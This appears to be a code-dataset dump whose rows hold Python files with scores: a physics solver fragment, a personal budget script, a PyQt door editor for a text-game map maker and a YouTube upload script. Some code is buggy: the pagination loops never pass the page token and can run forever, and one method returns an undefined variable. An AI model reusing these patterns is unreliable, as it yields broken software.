vcp._eff_mass_tangent = 0.0 if np.isclose(k_tangent,
0) else 1.0 / k_tangent
vcp._restit = np.fmin(ccp._bodya.restit, ccp._bodyb.restit)
vcp._penetration = collision._penetration
wa: Matrix = Matrix.cross_product2(ccp._bodya.ang_vel, vcp._ra)
wb: Matrix = Matrix.cross_product2(ccp._bodyb.ang_vel, vcp._rb)
vcp._va = ccp._bodya.vel + wa
vcp._vb = ccp._bodyb.vel + wb
vcp._vel_bias = (vcp._va - vcp._vb) * -vcp._restit
# accumulate inherited impulse
impulse: Matrix = vcp._normal * vcp._accum_normal_impulse
impulse += vcp._tangent * vcp._accum_tangent_impulse
ccp._bodya.apply_impulse(impulse, vcp._ra)
ccp._bodyb.apply_impulse(-impulse, vcp._rb)
def clear_inactive_points(self) -> None:
clear_list: List[int] = []
removed_list: List[ContactConstraintPoint] = []
for key, val in self._contact_table.items():
if len(val) == 0:
clear_list.append(key)
continue
for v1 in val:
if not v1._active:
removed_list.append(v1)
for v1 in removed_list:
for re in val:
if re == v1:
val.remove(re)
removed_list.clear()
for v2 in clear_list:
for item in self._contact_table.items():
if item[0] == v2:
del self._contact_table[item[0]]
break
def deactivate_all_points(self) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
ccp._active = False | 0.605449 | 0.356055 |
import datetime, glob, os, re, sys
DATE_FORMAT="%Y-%m-%d"
def load_review():
if len(sys.argv) > 1:
fp = sys.argv[1]
current_date = '-'.join(fp.split("/")[-1].split("-")[:3])
current_date = datetime.datetime.strptime(current_date, DATE_FORMAT)
else:
current_date=datetime.date.today()
fp = "/home/zachary/weekly-review/_posts/{}/{}-weekly-review.md".format(current_date.year, current_date)
if not os.path.exists(fp):
fp = "/home/zachary/weekly-review/_posts/{}/{}-weekly-review.md".format(current_date.year, current_date.strftime(DATE_FORMAT))
with open(fp, "r") as f:
return list(f)
def load_budget():
review_lines = load_review()
budget_start = re.compile("^\\| Date")
budget_end = re.compile("^$")
start_line, end_line = None, None
for i, line in enumerate(review_lines):
if start_line is None and budget_start.match(line):
start_line = i
if end_line is None and start_line is not None and budget_end.match(line):
end_line = i
budget = review_lines[start_line:end_line]
lines = []
for line in budget[2:]:
date, place, amount, category, thing = [x.strip() for x in line.split("|")[1:]]
lines.append((float(amount), category))
return lines
def load_finances():
log_book = glob.glob("/home/zachary/physicalish_documents/log-book*CURRENT*")[0]
with open(log_book, "r") as f:
return list(f)
def parse_finance_page(finance_page):
total = 0
hand_total = None
for line in finance_page[1:]:
assert "--page" not in line
date, place, amount, hand_total, thing = line[:10], line[28:48].strip(), line[48:57].strip(), line[57:65].strip(), line[66:].strip()
total += float(amount)
hand_total = float(hand_total)
print("| {date:<11}| {place:<14}|{amount:>11} | {category:<14}| {thing}".format(date=date, place=place, amount=amount, category="", thing=thing))
return total, hand_total
def parse_week(lines, date):
assert date is None
finance_page = re.compile('--page (?P<page>[1-9][0-9]*), finances ')
start_line, end_line = None, None
total, hand_total = 0, None
for i, line in enumerate(lines + ["--page 999, finances final"]):
m = finance_page.match(line)
if m:
if start_line is None:
cont = "cont" in line
start_line = i
else:
end_line = i
page_total, page_hand_total = parse_finance_page(lines[start_line:end_line])
if hand_total is None:
hand_total = page_hand_total
total += page_total
start_line, end_line = i, None
if cont:
cont = "cont" in line
continue
break
return total, hand_total
if __name__ == "__main__":
budget_items = load_budget()
if budget_items == []: # Budget not done yet
finance_lines = load_finances()
total, hand_total = parse_week(finance_lines, None) # ALWAYS returns the latest week
print()
if (total - hand_total) < 0.005:
print("Total was correct, {}".format(hand_total))
else:
print("Correct total should be {}, was {}".format(total, hand_total))
else: # Budget is done yet
print("{: <12} {:.2f}".format("Total:", sum(amount for (amount, category) in budget_items)))
print("{: <12} {:.2f}".format("Total (no rent):", sum(amount for (amount, category) in budget_items if category != "Rent")))
categories = sorted(set(category for (amount, category) in budget_items))
print()
OTHER = ("Grocery", "Luxury", "Good", "Restaurant")
for category in categories:
if category not in OTHER:
print("{: <12} {:.2f}".format(category+":", sum(amount for (amount, c) in budget_items if category == c)))
print("{: <12} {:.2f}".format("Other"+":", sum(amount for (amount, c) in budget_items if c in OTHER)))
for category in OTHER:
print(" {: <12} {:.2f}".format(category+":", sum(amount for (amount, c) in budget_items if category == c))) | budget_summary.py | import datetime, glob, os, re, sys
DATE_FORMAT="%Y-%m-%d"
def load_review():
if len(sys.argv) > 1:
fp = sys.argv[1]
current_date = '-'.join(fp.split("/")[-1].split("-")[:3])
current_date = datetime.datetime.strptime(current_date, DATE_FORMAT)
else:
current_date=datetime.date.today()
fp = "/home/zachary/weekly-review/_posts/{}/{}-weekly-review.md".format(current_date.year, current_date)
if not os.path.exists(fp):
fp = "/home/zachary/weekly-review/_posts/{}/{}-weekly-review.md".format(current_date.year, current_date.strftime(DATE_FORMAT))
with open(fp, "r") as f:
return list(f)
def load_budget():
review_lines = load_review()
budget_start = re.compile("^\\| Date")
budget_end = re.compile("^$")
start_line, end_line = None, None
for i, line in enumerate(review_lines):
if start_line is None and budget_start.match(line):
start_line = i
if end_line is None and start_line is not None and budget_end.match(line):
end_line = i
budget = review_lines[start_line:end_line]
lines = []
for line in budget[2:]:
date, place, amount, category, thing = [x.strip() for x in line.split("|")[1:]]
lines.append((float(amount), category))
return lines
def load_finances():
log_book = glob.glob("/home/zachary/physicalish_documents/log-book*CURRENT*")[0]
with open(log_book, "r") as f:
return list(f)
def parse_finance_page(finance_page):
total = 0
hand_total = None
for line in finance_page[1:]:
assert "--page" not in line
date, place, amount, hand_total, thing = line[:10], line[28:48].strip(), line[48:57].strip(), line[57:65].strip(), line[66:].strip()
total += float(amount)
hand_total = float(hand_total)
print("| {date:<11}| {place:<14}|{amount:>11} | {category:<14}| {thing}".format(date=date, place=place, amount=amount, category="", thing=thing))
return total, hand_total
def parse_week(lines, date):
assert date is None
finance_page = re.compile('--page (?P<page>[1-9][0-9]*), finances ')
start_line, end_line = None, None
total, hand_total = 0, None
for i, line in enumerate(lines + ["--page 999, finances final"]):
m = finance_page.match(line)
if m:
if start_line is None:
cont = "cont" in line
start_line = i
else:
end_line = i
page_total, page_hand_total = parse_finance_page(lines[start_line:end_line])
if hand_total is None:
hand_total = page_hand_total
total += page_total
start_line, end_line = i, None
if cont:
cont = "cont" in line
continue
break
return total, hand_total
if __name__ == "__main__":
budget_items = load_budget()
if budget_items == []: # Budget not done yet
finance_lines = load_finances()
total, hand_total = parse_week(finance_lines, None) # ALWAYS returns the latest week
print()
if (total - hand_total) < 0.005:
print("Total was correct, {}".format(hand_total))
else:
print("Correct total should be {}, was {}".format(total, hand_total))
else: # Budget is done yet
print("{: <12} {:.2f}".format("Total:", sum(amount for (amount, category) in budget_items)))
print("{: <12} {:.2f}".format("Total (no rent):", sum(amount for (amount, category) in budget_items if category != "Rent")))
categories = sorted(set(category for (amount, category) in budget_items))
print()
OTHER = ("Grocery", "Luxury", "Good", "Restaurant")
for category in categories:
if category not in OTHER:
print("{: <12} {:.2f}".format(category+":", sum(amount for (amount, c) in budget_items if category == c)))
print("{: <12} {:.2f}".format("Other"+":", sum(amount for (amount, c) in budget_items if c in OTHER)))
for category in OTHER:
print(" {: <12} {:.2f}".format(category+":", sum(amount for (amount, c) in budget_items if category == c))) | 0.198142 | 0.157622 |
from text_game_map_maker import forms
from text_game_map_maker.qt_auto_form import QtAutoForm
from text_game_map_maker.utils import yesNoDialog, errorDialog
from text_game_maker.tile import tile
from PyQt5 import QtWidgets, QtCore, QtGui
class DoorEditor(QtWidgets.QDialog):
def __init__(self, parent, tileobj):
super(DoorEditor, self).__init__(parent=parent)
self.door_id = 1
self.parent = parent
self.tile = tileobj
self.directions = {}
for direction in ['north', 'south', 'east', 'west']:
neighbour = getattr(tileobj, direction)
if (neighbour is not None) and neighbour.is_door():
self.directions[direction] = neighbour
self.table = QtWidgets.QTableWidget()
self.table.setColumnCount(3)
self.table.setHorizontalHeaderLabels(['door ID', 'door type', 'direction'])
self.table.verticalHeader().setVisible(False)
self.table.setSelectionBehavior(QtWidgets.QTableView.SelectRows)
self.table.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)
header = self.table.horizontalHeader()
header.setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)
header.setSectionResizeMode(1, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(2, QtWidgets.QHeaderView.ResizeToContents)
self.populateTable()
self.table.setEditTriggers(QtWidgets.QTableWidget.NoEditTriggers)
buttonBox = QtWidgets.QDialogButtonBox(
QtWidgets.QDialogButtonBox.Ok | QtWidgets.QDialogButtonBox.Cancel)
buttonBox.accepted.connect(self.accept)
buttonBox.rejected.connect(self.reject)
self.addButton = QtWidgets.QPushButton()
self.editButton = QtWidgets.QPushButton()
self.deleteButton = QtWidgets.QPushButton()
self.addButton.setText("Add door")
self.editButton.setText("Edit door")
self.deleteButton.setText("Delete door")
self.editButton.clicked.connect(self.editButtonClicked)
self.addButton.clicked.connect(self.addButtonClicked)
self.deleteButton.clicked.connect(self.deleteButtonClicked)
buttonLayout = QtWidgets.QHBoxLayout()
buttonLayout.addWidget(self.addButton)
buttonLayout.addWidget(self.editButton)
buttonLayout.addWidget(self.deleteButton)
self.buttonGroupBox = QtWidgets.QGroupBox("")
self.buttonGroupBox.setLayout(buttonLayout)
mainLayout = QtWidgets.QVBoxLayout()
mainLayout.addWidget(self.buttonGroupBox)
mainLayout.addWidget(self.table)
mainLayout.addWidget(buttonBox)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Minimum)
self.setSizePolicy(sizePolicy)
self.setLayout(mainLayout)
self.setWindowTitle("Door Editor")
def populateTable(self):
self.table.setRowCount(0)
for direction in self.directions:
self.addRow(self.directions[direction], direction)
def sizeHint(self):
return QtCore.QSize(500, 400)
def getSelectedDirection(self, rowNumber):
door_id = self.table.item(rowNumber, 0).text()
return door_id, direction
def addButtonClicked(self):
classobjs = [tile.LockedDoor, tile.LockedDoorWithKeypad]
doortypes = {obj.__name__: obj for obj in classobjs}
item, accepted = QtWidgets.QInputDialog.getItem(self,
"select door type",
"Select a door type",
doortypes, 0, False)
if not accepted:
return
doortype = doortypes[item]
if doortype == tile.LockedDoor:
settings = forms.DoorSettings()
else:
settings = forms.KeypadDoorSettings()
direction, doorobj = self.populateDoorSettings(settings, None)
if doorobj is None:
return
if self.parent.tileIDExists(doorobj.tile_id):
errorDialog(self, "Unable to create door",
"Tile ID '%s' is already is use!" % doorobj.tile_id)
return
if direction in self.directions:
errorDialog(self, "Unable to create door",
"There is already a door to the %s" % direction)
return
self.directions[direction] = doorobj
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
if doortype == tile.LockedDoor:
button.addDoors(doors=[settings.direction])
else:
button.addDoors(keypad_doors=[settings.direction])
# Re-draw button
button.update()
setattr(self.tile, direction, doorobj)
self.addRow(doorobj, direction)
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def editButtonClicked(self):
selectedRow = self.table.currentRow()
if selectedRow < 0:
return
direction = self.table.item(selectedRow, 2).text()
doorobj = getattr(self.tile, direction)
if type(doorobj) == tile.LockedDoor:
settings = forms.DoorSettings()
else:
settings = forms.KeypadDoorSettings()
new_direction, new_doorobj = self.populateDoorSettings(settings, doorobj)
if new_doorobj is None:
return
old_tile_id = doorobj.tile_id if doorobj else None
if old_tile_id != new_doorobj.tile_id:
if self.parent.tileIDExists(new_doorobj.tile_id):
errorDialog(self, "Unable to change door settings",
"Tile ID '%s' is already is use!" % new_doorobj.tile_id)
new_doorobj.set_tile_id(new_doorobj.tile_id)
return
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
if new_direction != direction:
if new_direction in self.directions:
errorDialog(self, "Unable to change door settings",
"You already have a door to the %s" % new_direction)
# Remove connection to old door
setattr(self.tile, direction, doorobj.replacement_tile)
button.removeDoors(directions=[direction])
del self.directions[direction]
# Re-connect door in new direction
setattr(self.tile, new_direction, new_doorobj)
self.directions[new_direction] = new_doorobj
if type(new_doorobj) == tile.LockedDoor:
button.addDoors(doors=[new_direction])
else:
button.addDoors(keypad_doors=[new_direction])
# Re-draw button
button.update()
# Re-draw door browser table
self.populateTable()
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def deleteButtonClicked(self):
selectedRow = self.table.currentRow()
if selectedRow < 0:
return
direction = self.table.item(selectedRow, 2).text()
doorobj = getattr(self.tile, direction)
reply = yesNoDialog(self, "Really delete door?",
"Are you sure you want do delete this "
"door (%s)?" % doorobj.tile_id)
if not reply:
return
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
button.removeDoors([direction])
del self.directions[direction]
setattr(self.tile, direction, doorobj.replacement_tile)
self.table.removeRow(selectedRow)
# Re-draw button
button.update()
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def addRow(self, door, direction):
nextFreeRow = self.table.rowCount()
self.table.insertRow(nextFreeRow)
item1 = QtWidgets.QTableWidgetItem(door.tile_id)
item2 = QtWidgets.QTableWidgetItem(door.__class__.__name__)
item3 = QtWidgets.QTableWidgetItem(direction)
self.table.setItem(nextFreeRow, 0, item1)
self.table.setItem(nextFreeRow, 1, item2)
self.table.setItem(nextFreeRow, 2, item3)
def getDoorSettings(self, settings_obj, window_title, tile_id):
complete = False
if tile_id is None:
settings_obj.tile_id = "door%d" % self.door_id
settings_obj.name = "door"
settings_obj.prefix = "a"
self.door_id += 1
else:
settings_obj.tile_id = tile_id
while not complete:
dialog = QtAutoForm(settings_obj, title=window_title,
formTitle="Set attributes for selected door",
spec=settings_obj.spec)
dialog.setWindowModality(QtCore.Qt.ApplicationModal)
dialog.setWindowIcon(QtGui.QIcon(self.parent.main.iconPath))
dialog.exec_()
# Dialog was cancelled, we're done
if not dialog.wasAccepted():
return False
if str(settings_obj.tile_id).strip() == '':
errorDialog(self, "Invalid tile ID", "tile ID field cannot be empty")
else:
complete = True
return True
def oppositeDoorExists(self, opposite_tile, direction):
if not opposite_tile:
return False
opposite_dir = tile.reverse_direction(direction)
opposite = getattr(opposite_tile, opposite_dir)
return opposite and opposite.is_door()
def formToInstance(self, settings, door, olddir, replace):
if type(settings) == forms.KeypadDoorSettings:
if door is None:
door = tile.LockedDoorWithKeypad(settings.code, prefix=settings.prefix,
name=settings.name, src_tile=self.tile,
replacement_tile=replace)
else:
door.__class__.__init__(door, settings.code, prefix=settings.prefix,
name=settings.name, src_tile=self.tile,
replacement_tile=replace)
door.set_prompt(settings.prompt)
elif type(settings) == forms.DoorSettings:
if door is None:
door = tile.LockedDoor(settings.prefix, settings.name, self.tile, replace)
else:
door.__class__.__init__(door, settings.prefix, settings.name,
self.tile, replace)
if olddir and (olddir != settings.direction):
setattr(self.tile, olddir, door.replacement_tile)
return door
def instanceToForm(self, settings, door):
settings.direction = self.tile.direction_to(door)
settings.prefix = door.prefix
settings.name = door.name
if type(door) == tile.LockedDoorWithKeypad:
settings.code = door.unlock_code
settings.prompt = door.prompt
def populateDoorSettings(self, settings, doorobj):
tile_id = None
olddir = None
if doorobj is not None:
tile_id = doorobj.tile_id
self.instanceToForm(settings, doorobj)
olddir = settings.direction
wasAccepted = self.getDoorSettings(settings, "Door settings", tile_id)
if not wasAccepted:
return None, None
replace = getattr(self.tile, settings.direction)
# Check if there's already a door in this direction on the adjacent tile
if self.oppositeDoorExists(replace, settings.direction):
errorDialog(self, "Unable to add door", "There is an existing door "
" locked from the opposite direction (tile ID '%s')"
% replace.tile_id)
return None, None
doorobj = self.formToInstance(settings, doorobj, olddir, replace)
doorobj.tile_id = settings.tile_id
return settings.direction, doorobj | text_game_map_maker/door_editor.py | from text_game_map_maker import forms
from text_game_map_maker.qt_auto_form import QtAutoForm
from text_game_map_maker.utils import yesNoDialog, errorDialog
from text_game_maker.tile import tile
from PyQt5 import QtWidgets, QtCore, QtGui
class DoorEditor(QtWidgets.QDialog):
def __init__(self, parent, tileobj):
super(DoorEditor, self).__init__(parent=parent)
self.door_id = 1
self.parent = parent
self.tile = tileobj
self.directions = {}
for direction in ['north', 'south', 'east', 'west']:
neighbour = getattr(tileobj, direction)
if (neighbour is not None) and neighbour.is_door():
self.directions[direction] = neighbour
self.table = QtWidgets.QTableWidget()
self.table.setColumnCount(3)
self.table.setHorizontalHeaderLabels(['door ID', 'door type', 'direction'])
self.table.verticalHeader().setVisible(False)
self.table.setSelectionBehavior(QtWidgets.QTableView.SelectRows)
self.table.setSelectionMode(QtWidgets.QAbstractItemView.SingleSelection)
header = self.table.horizontalHeader()
header.setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)
header.setSectionResizeMode(1, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(2, QtWidgets.QHeaderView.ResizeToContents)
self.populateTable()
self.table.setEditTriggers(QtWidgets.QTableWidget.NoEditTriggers)
buttonBox = QtWidgets.QDialogButtonBox(
QtWidgets.QDialogButtonBox.Ok | QtWidgets.QDialogButtonBox.Cancel)
buttonBox.accepted.connect(self.accept)
buttonBox.rejected.connect(self.reject)
self.addButton = QtWidgets.QPushButton()
self.editButton = QtWidgets.QPushButton()
self.deleteButton = QtWidgets.QPushButton()
self.addButton.setText("Add door")
self.editButton.setText("Edit door")
self.deleteButton.setText("Delete door")
self.editButton.clicked.connect(self.editButtonClicked)
self.addButton.clicked.connect(self.addButtonClicked)
self.deleteButton.clicked.connect(self.deleteButtonClicked)
buttonLayout = QtWidgets.QHBoxLayout()
buttonLayout.addWidget(self.addButton)
buttonLayout.addWidget(self.editButton)
buttonLayout.addWidget(self.deleteButton)
self.buttonGroupBox = QtWidgets.QGroupBox("")
self.buttonGroupBox.setLayout(buttonLayout)
mainLayout = QtWidgets.QVBoxLayout()
mainLayout.addWidget(self.buttonGroupBox)
mainLayout.addWidget(self.table)
mainLayout.addWidget(buttonBox)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Minimum)
self.setSizePolicy(sizePolicy)
self.setLayout(mainLayout)
self.setWindowTitle("Door Editor")
def populateTable(self):
self.table.setRowCount(0)
for direction in self.directions:
self.addRow(self.directions[direction], direction)
def sizeHint(self):
return QtCore.QSize(500, 400)
def getSelectedDirection(self, rowNumber):
door_id = self.table.item(rowNumber, 0).text()
return door_id, direction
def addButtonClicked(self):
classobjs = [tile.LockedDoor, tile.LockedDoorWithKeypad]
doortypes = {obj.__name__: obj for obj in classobjs}
item, accepted = QtWidgets.QInputDialog.getItem(self,
"select door type",
"Select a door type",
doortypes, 0, False)
if not accepted:
return
doortype = doortypes[item]
if doortype == tile.LockedDoor:
settings = forms.DoorSettings()
else:
settings = forms.KeypadDoorSettings()
direction, doorobj = self.populateDoorSettings(settings, None)
if doorobj is None:
return
if self.parent.tileIDExists(doorobj.tile_id):
errorDialog(self, "Unable to create door",
"Tile ID '%s' is already is use!" % doorobj.tile_id)
return
if direction in self.directions:
errorDialog(self, "Unable to create door",
"There is already a door to the %s" % direction)
return
self.directions[direction] = doorobj
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
if doortype == tile.LockedDoor:
button.addDoors(doors=[settings.direction])
else:
button.addDoors(keypad_doors=[settings.direction])
# Re-draw button
button.update()
setattr(self.tile, direction, doorobj)
self.addRow(doorobj, direction)
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def editButtonClicked(self):
selectedRow = self.table.currentRow()
if selectedRow < 0:
return
direction = self.table.item(selectedRow, 2).text()
doorobj = getattr(self.tile, direction)
if type(doorobj) == tile.LockedDoor:
settings = forms.DoorSettings()
else:
settings = forms.KeypadDoorSettings()
new_direction, new_doorobj = self.populateDoorSettings(settings, doorobj)
if new_doorobj is None:
return
old_tile_id = doorobj.tile_id if doorobj else None
if old_tile_id != new_doorobj.tile_id:
if self.parent.tileIDExists(new_doorobj.tile_id):
errorDialog(self, "Unable to change door settings",
"Tile ID '%s' is already is use!" % new_doorobj.tile_id)
new_doorobj.set_tile_id(new_doorobj.tile_id)
return
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
if new_direction != direction:
if new_direction in self.directions:
errorDialog(self, "Unable to change door settings",
"You already have a door to the %s" % new_direction)
# Remove connection to old door
setattr(self.tile, direction, doorobj.replacement_tile)
button.removeDoors(directions=[direction])
del self.directions[direction]
# Re-connect door in new direction
setattr(self.tile, new_direction, new_doorobj)
self.directions[new_direction] = new_doorobj
if type(new_doorobj) == tile.LockedDoor:
button.addDoors(doors=[new_direction])
else:
button.addDoors(keypad_doors=[new_direction])
# Re-draw button
button.update()
# Re-draw door browser table
self.populateTable()
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def deleteButtonClicked(self):
selectedRow = self.table.currentRow()
if selectedRow < 0:
return
direction = self.table.item(selectedRow, 2).text()
doorobj = getattr(self.tile, direction)
reply = yesNoDialog(self, "Really delete door?",
"Are you sure you want do delete this "
"door (%s)?" % doorobj.tile_id)
if not reply:
return
button = self.parent.buttonAtPosition(*self.parent.selectedPosition)
button.removeDoors([direction])
del self.directions[direction]
setattr(self.tile, direction, doorobj.replacement_tile)
self.table.removeRow(selectedRow)
# Re-draw button
button.update()
# Enabling saving if it was disabled
self.parent.setSaveEnabled(True)
def addRow(self, door, direction):
nextFreeRow = self.table.rowCount()
self.table.insertRow(nextFreeRow)
item1 = QtWidgets.QTableWidgetItem(door.tile_id)
item2 = QtWidgets.QTableWidgetItem(door.__class__.__name__)
item3 = QtWidgets.QTableWidgetItem(direction)
self.table.setItem(nextFreeRow, 0, item1)
self.table.setItem(nextFreeRow, 1, item2)
self.table.setItem(nextFreeRow, 2, item3)
def getDoorSettings(self, settings_obj, window_title, tile_id):
complete = False
if tile_id is None:
settings_obj.tile_id = "door%d" % self.door_id
settings_obj.name = "door"
settings_obj.prefix = "a"
self.door_id += 1
else:
settings_obj.tile_id = tile_id
while not complete:
dialog = QtAutoForm(settings_obj, title=window_title,
formTitle="Set attributes for selected door",
spec=settings_obj.spec)
dialog.setWindowModality(QtCore.Qt.ApplicationModal)
dialog.setWindowIcon(QtGui.QIcon(self.parent.main.iconPath))
dialog.exec_()
# Dialog was cancelled, we're done
if not dialog.wasAccepted():
return False
if str(settings_obj.tile_id).strip() == '':
errorDialog(self, "Invalid tile ID", "tile ID field cannot be empty")
else:
complete = True
return True
def oppositeDoorExists(self, opposite_tile, direction):
if not opposite_tile:
return False
opposite_dir = tile.reverse_direction(direction)
opposite = getattr(opposite_tile, opposite_dir)
return opposite and opposite.is_door()
def formToInstance(self, settings, door, olddir, replace):
if type(settings) == forms.KeypadDoorSettings:
if door is None:
door = tile.LockedDoorWithKeypad(settings.code, prefix=settings.prefix,
name=settings.name, src_tile=self.tile,
replacement_tile=replace)
else:
door.__class__.__init__(door, settings.code, prefix=settings.prefix,
name=settings.name, src_tile=self.tile,
replacement_tile=replace)
door.set_prompt(settings.prompt)
elif type(settings) == forms.DoorSettings:
if door is None:
door = tile.LockedDoor(settings.prefix, settings.name, self.tile, replace)
else:
door.__class__.__init__(door, settings.prefix, settings.name,
self.tile, replace)
if olddir and (olddir != settings.direction):
setattr(self.tile, olddir, door.replacement_tile)
return door
def instanceToForm(self, settings, door):
settings.direction = self.tile.direction_to(door)
settings.prefix = door.prefix
settings.name = door.name
if type(door) == tile.LockedDoorWithKeypad:
settings.code = door.unlock_code
settings.prompt = door.prompt
def populateDoorSettings(self, settings, doorobj):
tile_id = None
olddir = None
if doorobj is not None:
tile_id = doorobj.tile_id
self.instanceToForm(settings, doorobj)
olddir = settings.direction
wasAccepted = self.getDoorSettings(settings, "Door settings", tile_id)
if not wasAccepted:
return None, None
replace = getattr(self.tile, settings.direction)
# Check if there's already a door in this direction on the adjacent tile
if self.oppositeDoorExists(replace, settings.direction):
errorDialog(self, "Unable to add door", "There is an existing door "
" locked from the opposite direction (tile ID '%s')"
% replace.tile_id)
return None, None
doorobj = self.formToInstance(settings, doorobj, olddir, replace)
doorobj.tile_id = settings.tile_id
return settings.direction, doorobj | 0.543348 | 0.070113 |
import sys
import os
from docopt import docopt
from apiclient.http import MediaFileUpload
import core.schedule as schedule
import core.auth as conf_auth
import core.excel_db as excel_db
USAGE = """
Upload the Videos to YouTube
Usage:
upload_yt_videos.py <video_list.xlsx> <video_root_path> [--no-update]
"""
arguments = docopt(USAGE)
video_db = excel_db.open(arguments["<video_list.xlsx>"])
video_table = video_db.get_table("Sheet1")
video_root_path = arguments["<video_root_path>"]
update_descriptions = not arguments["--no-update"]
def upload_video(video, title, description, auth):
print("Uploading\ntitle = {}\nauthors = {}\nvideo = {}".format(title, authors, video))
upload_response = auth.youtube.videos().insert(
part="id,status,snippet",
body = {
"snippet": {
"title": title,
"description": description,
"categoryId": 27 # Category 27 is "education"
},
"status": {
"privacyStatus": "public",
"selfDeclaredMadeForKids": False,
"embeddable": True
}
},
media_body=MediaFileUpload(video)
).execute()
return upload_response
def update_video(video_id, title, description, auth):
print("Updating\ntitle = {}\nauthors = {}\nvideo = {}".format(title, authors, video_id))
upload_response = auth.youtube.videos().update(
part="id,snippet,status",
body = {
"id": video_id,
"snippet": {
"title": title,
"description": description,
"categoryId": 27 # Category 27 is "education"
}
}
).execute()
return upload_response
def get_all_playlists(auth):
all_playlists = []
while True:
playlists = auth.youtube.playlists().list(
part="snippet,contentDetails",
maxResults=50,
mine=True
).execute()
all_playlists += playlists["items"]
if "nextPageToken" not in playlists:
break
return all_playlists
def get_playlist_items(auth, playlist_id):
all_items = []
while True:
items = auth.youtube.playlistItems().list(
part="id,snippet,status",
maxResults=50,
playlistId=playlist_id
).execute()
all_items += items["items"]
if "nextPageToken" not in items:
break
return all_items
if not "Youtube Video" in video_table.index or not "Youtube Playlist" in video_table.index:
index = [None] * len(video_table.index)
for k, v in video_table.index.items():
index[v - 1] = k
if not "Youtube Video" in video_table.index:
index.append("Youtube Video")
if not "Youtube Playlist" in video_table.index:
index.append("Youtube Playlist")
video_table.set_index(index)
# Validate the input sheet
all_files_found = True
for r in range(2, video_table.table.max_row + 1):
video_info = video_table.row(r)
# If there's no video, or it was already uploaded, skip verifying the file
# exists because we don't need it
if not video_info["Title"].value or video_info["Youtube Video"].value:
continue
video = os.path.join(video_root_path, video_info["Video File"].value)
if not os.path.isfile(video):
all_files_found = False
print("Video {} was not found".format(video))
subtitles = video_info["Subtitles File"].value
if subtitles:
subtitles = os.path.join(video_root_path, video_info["Subtitles File"].value)
if not os.path.isfile(subtitles):
all_files_found = False
print("Subtitles {} were not found".format(subtitles))
if not all_files_found:
print("Some files were not found, please correct the sheet and re-run")
sys.exit(1)
auth = conf_auth.Authentication(youtube=True, use_pickled_credentials=True)
playlists = {}
yt_playlists = get_all_playlists(auth)
current_playlists = {}
for pl in yt_playlists:
title = pl["snippet"]["title"]
current_playlists[title] = {
"id": pl["id"],
"videos": []
}
items = get_playlist_items(auth, pl["id"])
for i in items:
current_playlists[title]["videos"].append(i["snippet"]["resourceId"]["videoId"])
for r in range(2, video_table.table.max_row + 1):
video_info = video_table.row(r)
if not video_info["Title"].value:
continue
title = schedule.make_youtube_title(video_info["Title"].value)
authors = video_info["Authors"].value.replace("|", ", ")
description = "Authors: " + authors
if video_info["Abstract/Description"].value:
description += "\n" + video_info["Abstract/Description"].value
# Make sure description text content is valid for Youtube
description = schedule.make_youtube_description(description)
# Upload the video
video_id = None
if not video_info["Youtube Video"].value:
video = os.path.join(video_root_path, video_info["Video File"].value)
try:
upload_response = upload_video(video, title, description, auth)
print(upload_response)
video_info["Youtube Video"].value = "https://youtu.be/" + upload_response["id"]
video_id = upload_response["id"]
except Exception as e:
print("Failed to upload {}: {}".format(video, e))
print("Stopping uploading")
break
continue
subtitles = video_info["Subtitles File"].value
# Upload the subtitles
if subtitles:
try:
subtitles = os.path.join(video_root_path, video_info["Subtitles File"].value)
subtitles_response = auth.youtube.captions().insert(
part="id,snippet",
body={
"snippet": {
"videoId": upload_response["id"],
"language": "en-us",
"name": video_info["Subtitles File"].value
}
},
media_body=MediaFileUpload(subtitles)
).execute()
print(subtitles_response)
except Exception as e:
print("Failed to upload {}: {}".format(subtitles, e))
else:
video_id = schedule.match_youtube_id(video_info["Youtube Video"].value)
if update_descriptions:
update_response = update_video(video_id, title, description, auth)
print(update_response)
if video_id:
if video_info["Playlist Title"].value and not video_info["Youtube Playlist"].value:
playlist_title = schedule.make_youtube_title(video_info["Playlist Title"].value)
if not playlist_title in playlists:
playlists[playlist_title] = []
if not video_id in playlists[playlist_title]:
playlists[playlist_title].append(video_id)
else:
print("Video already in playlist")
else:
print("Video {} was not uploaded".format(title))
video_db.save(arguments["<video_list.xlsx>"])
print("----")
video_db.save(arguments["<video_list.xlsx>"])
# Create new playlists we need and add videos to the playlists
print(playlists)
for pl, videos in playlists.items():
# Create new playlists if needed
if pl not in current_playlists:
resp = auth.youtube.playlists().insert(
part="id,status,snippet",
body={
"snippet": {
"title": pl
},
"status": {
"privacyStatus": "public"
}
}).execute()
current_playlists[pl] = {
"id": resp["id"],
"videos": []
}
for v in videos:
if v not in current_playlists[pl]["videos"]:
resp = auth.youtube.playlistItems().insert(
part="id,status,snippet",
body={
"snippet": {
"playlistId": current_playlists[pl]["id"],
"resourceId": {
"kind": "youtube#video",
"videoId": v
}
}
}).execute()
r = video_table.find("Youtube Video", "https://youtu.be/" + v)
video_table.entry(r[0], "Youtube Playlist").value = "https://www.youtube.com/playlist?list={}".format(current_playlists[pl]["id"])
video_db.save(arguments["<video_list.xlsx>"])
video_db.save(arguments["<video_list.xlsx>"]) | upload_yt_videos.py | import sys
import os
from docopt import docopt
from apiclient.http import MediaFileUpload
import core.schedule as schedule
import core.auth as conf_auth
import core.excel_db as excel_db
USAGE = """
Upload the Videos to YouTube
Usage:
